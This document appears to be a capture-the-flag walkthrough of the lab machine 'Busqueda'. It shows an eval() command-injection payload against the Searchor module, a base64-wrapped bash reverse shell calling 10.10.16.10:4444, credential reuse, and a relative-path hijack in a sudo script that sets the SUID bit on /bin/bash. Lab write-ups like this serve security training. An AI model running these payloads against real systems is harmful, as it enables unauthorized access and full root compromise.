tanades@home:~$

Archive

About

Busqueda


Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user’s Gitea account. Further analysis of the system checkup script’s source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.




Walkthrough

Reconnaissance

We will start by scanning protocolos in the target machine, this can be divided in 3 phases:

  1. Scan for open ports.
  2. Scan for services in these open ports.
  3. Scan for vulnerabilities in these services.


Let’s start by scanning for open ports:

sudo nmap -sS -sU 10.10.11.208 -p- -T4 --min-rate 5000 -oN all_ports.txt --open -n -Pn




There are 2 open ports:

  • 22/tcp
  • 80/tcp


Let’s check which services are running in these ports:

sudo nmap -sS 10.10.11.208 -p 22,80 -T4 --min-rate 5000 -oX open_ports.xml -oN open_ports.txt --version-all -n -Pn -A




We can see that the services correspond to:

  • 22/tcp OpenSSH 8.9p1
  • 80/tcp Apache httpd 2.4.52


We can also see a hostname, so we will add it to our /etc/hosts file:

echo "10.10.11.208 searcher.htb" | sudo tee --append /etc/hosts


Now we will seek for vulnerabilities:

sudo nmap -sS 10.10.11.208 -p 22,80 -T4 --min-rate 5000 --script="vuln and safe or intrusive and safe or discovery" -oN vulns.txt -oX vulns.xml -n -Pn


The scan reports nothing.



Foothold

The foothold in this machine is very easy, as there is a straightforward script that we can use to gain access to the machine, however I prefer to exploit the vulnerability manually.


We are facing a website that combines multiples search engines, this is a GitHub project named Searchor:


This version of Searchor previously used the eval() function in the main.py file, which we can leverage to execute commands in the system:


To escape the function and execute commands, we can run a payload like this:

',__import__('os').system('commands')) #


This payload would make the query look like this:

url = eval(
            Engine.Google.search('',__import__('os').system('commands')) #', copy_url={copy}, open_web={open})"
                )


As we can see, we are able to escape the function, we just now have to craft a reverse shell payload and launch it, for that I’m going to use a base64 payload:

echo -n "bash  -c 'bash -i >& /dev/tcp/10.10.16.10/4444 0>&1'" | base64
rlwrap nc -nlvp 4444


The HTTP request would look like this:

engine=Google&query=',__import__('os').system('echo YmFzaCAgLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvNDQ0NCAwPiYxJw==|base64 -d|bash -i')) #




Just like this we get the user flag in the machine:



Privilege Escalation

The privilege escalation is actually complex, because there are a lot of rabbit holes, however I’m going to ignore them and go straightforward to the solution.


First, I created a pair of SSH keys and put my public key in the .ssh/authorized_keys file of the svc user to connect via SSH:

ssh-keygen
cat "my_public_key" >/home/svc/.ssh/authorized_keys

ssh svc@searcher.htb


Now we can start our enumeration, the first actual clue we can find is enumerating the web application, were we can file a hidden .git directory:


In this directory, we can find credentials and a subdomain in the config file:


We can add this subdomain to our /etc/hosts file and log in, however we will only find an administrator user:

echo "10.10.11.208 gitea.searcher.htb" | sudo tee --append /etc/hosts




Luckily for us, the password for the user cody is the same as the one for the user svc, so we can now check the commands we can run using sudo:

sudo -l




We can try to run this command, just to discover that we are hosting containers:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *




We discover that we are running two containers, the gitea one and another for a database:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps




It seems that we have another command that allow us to inspect the containers details, let’s get all of the details of the one that contains relevant information, the mysql_db one:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '' mysql_db | jq




We can see some credentials in the environmental variables, although the logical procedure would be to take a look at the database, it is a big rabbit hole, however we can use credentials in the MYSQL_PASSWORD variable to login in the gitea website as administrator, where we will find a copy of the script we can run with sudo:




We can see that the full-checkup option is trying to run a bash script in the working directory, so we can hijack this path:

echo '#!/bin/bash' > full-checkup.sh
echo "" >> full-checkup.sh
echo "chmod 4755 /bin/bash" >> full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup




Great! We successfully set the SUID bit in the /bin/bash binary:


Let’s elevate our privileges and get the root flag:

bash -p